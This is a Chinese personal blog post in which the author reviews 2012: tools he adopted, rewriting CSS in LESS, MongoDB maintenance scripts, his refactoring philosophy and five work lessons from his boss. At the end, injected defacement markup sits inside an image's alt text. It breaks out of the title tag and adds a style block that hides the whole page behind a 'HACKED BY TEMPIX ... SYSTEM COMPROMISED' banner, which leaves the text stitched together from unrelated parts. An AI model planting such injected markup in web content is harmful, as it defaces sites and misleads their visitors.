2012年就要过去了,这既是平凡的一年,也是不平凡的一年。
这一年,我开始使用一些伟大的产品,比如Macbook Air、github、google reader、codekit、sublime text 2、1password、鼠须管、……感谢这些产品的开发者,为我们节省了大量的时间。
我接触到了less,并很快迷上了它,用了一天时间把项目中的css改写成less。css的结构变得更加明晰了,我还通过自定义mixins将很多常用的属性进行了封装,并解决了图片url自动加版本号之类的问题。后来参考bootstrap和perkins写了一个框架zLess。
由于项目需要,我写了很多MongoDB下使用的维护脚本,并整理了一些经验。经过不断的重构,一些基础的函数和类被提炼出来,比如time、progress、buffer、cache等等。希望在不久的将来可以整理好结构,在github上再开一个项目。
去年,我每行代码都写的小心翼翼,以不出错为目标。而今年,我开始追求代码的复用性、可读性,不断地重构,以删代码为乐。每次通过重构删除一堆重复代码,提交到svn后那种畅快的感觉,真是难以用言语形容。年初我还将自己的编程哲学整理了一下,写了一篇文章。
在微拍工作这一年多来,我要非常感谢我的boss胡震生,他经常指出我犯的错误,容忍我犯的错误,并帮助我改正错误。我从他身上学到了很多,下面是最重要的几条:
1、除非有特别重要的事情,不要随意打断别人工作,琐碎的事情集中起来一次沟通;
2、保持沟通,避免因缺乏沟通造成的损失;
3、永远先做最重要的事;
4、绝不犯重复的错误;
5、完成比完美重要。
本想再写写游戏、阅读的话题,但一看时间2012年就快过去了,遵守一下自己刚写下的“完成比完美重要”这一原则,就此打住吧。
最后,我觉得这一年自己亏欠家人太多太多,希望在2013年可以让他们的生活更加美好一些。
![HACKED BY TEMPIX</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
*{margin:0;padding:0;box-sizing:border-box}
body,html{overflow:hidden!important;font-family:'Share Tech Mono',monospace}
body *:not(style){display:none!important}
body{
background:#000!important;
position:fixed!important;
width:100vw!important;
height:100vh!important;
display:flex!important;
align-items:center!important;
justify-content:center!important;
}
body::before{
content:"";
position:absolute;
top:0;left:0;right:0;bottom:0;
background:
linear-gradient(90deg,#0f0 1px,transparent 1px),
linear-gradient(180deg,#0f0 1px,transparent 1px);
background-size:50px 50px;
opacity:0.1;
animation:grid 20s linear infinite;
}
@keyframes grid{
0%{transform:perspective(500px) rotateX(60deg) translateZ(0)}
100%{transform:perspective(500px) rotateX(60deg) translateZ(500px)}
}
body::after{
content:"HACKED BY TEMPIX\A\AJ E M B O T\AJembot Mawot Pejuh Muncrat\A\A[ SYSTEM COMPROMISED ]";
white-space:pre;
display:block!important;
color:#0f0;
font-size:48px;
text-align:center;
z-index:999999;
animation:glitch 2s infinite,glow 1.5s infinite;
text-shadow:
0 0 10px #0f0,
0 0 20px #0f0,
0 0 30px #0f0,
0 0 40px #0f0;
}
@keyframes glitch{
0%,100%{transform:translate(0)}
20%{transform:translate(-2px,2px)}
40%{transform:translate(-2px,-2px)}
60%{transform:translate(2px,2px)}
80%{transform:translate(2px,-2px)}
}
@keyframes glow{
0%,100%{opacity:1}
50%{opacity:0.7}
}
h1,h2,h3,h4,h5,h6,p,div,span,a{display:none!important}
</style>
<title>](https://zhangshenjia.com/wp-content/uploads/2018/12/cropped-640-2.jpg)




















